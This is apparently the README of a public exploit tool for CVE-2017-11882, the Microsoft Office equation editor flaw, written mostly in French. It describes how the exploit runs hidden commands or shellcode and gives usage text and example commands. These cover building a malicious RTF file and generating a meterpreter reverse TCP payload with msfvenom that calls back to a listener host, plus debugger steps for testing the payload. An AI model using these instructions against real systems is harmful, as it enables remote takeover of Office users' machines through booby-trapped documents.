
CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.
L'exploit CVE-2017-11882 accepte des commandes/codes d'une longueur maximale de plus de 17 000 octets.
Pour l'exécution de commande à distance, cet exploit appelle WinExec avec SW_HIDE et appelle ExitProcess après le retour de WinExec.
Pour l'exécution de code à distance, cet exploit effectue simplement un saut (jmp) vers le code.
Je ne trouve pas de référence pour la structure de l'objet... donc je ne peux pas modifier la longueur du fichier pour une exécution de code de longueur arbitraire..:(
Mais je pense que 17 000 octets sont vraiment suffisants. Le script Python détectera la taille de charge utile dont vous avez besoin et choisira le modèle de charge utile correct.
Attention : L'exécution de code à distance bloquera le processus winword si vous ne migrez pas vers un autre processus !
Actuellement, cet exploit injecte votre shellcode dans un nouveau processus EQNEDT32.EXE si vous spécifiez l'option -i. Cette opération est suspecte pour les antivirus mais elle ne bloquera pas le processus Word.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
Exemple :
Pour l'exécution de commande à distance
CVE-2017-11882.py -c cmd.exe -o test.rtf
Pour l'exécution de code à distance
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
Définissez la valeur du débogueur sur le chemin de votre débogueur dans HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
Construisez un exploit et exécutez-le.
Placez un point d'arrêt à 0x41165f
Ce point d'arrêt sera atteint deux fois ; la deuxième fois, la charge utile sera exécutée après le retour de cette fonction.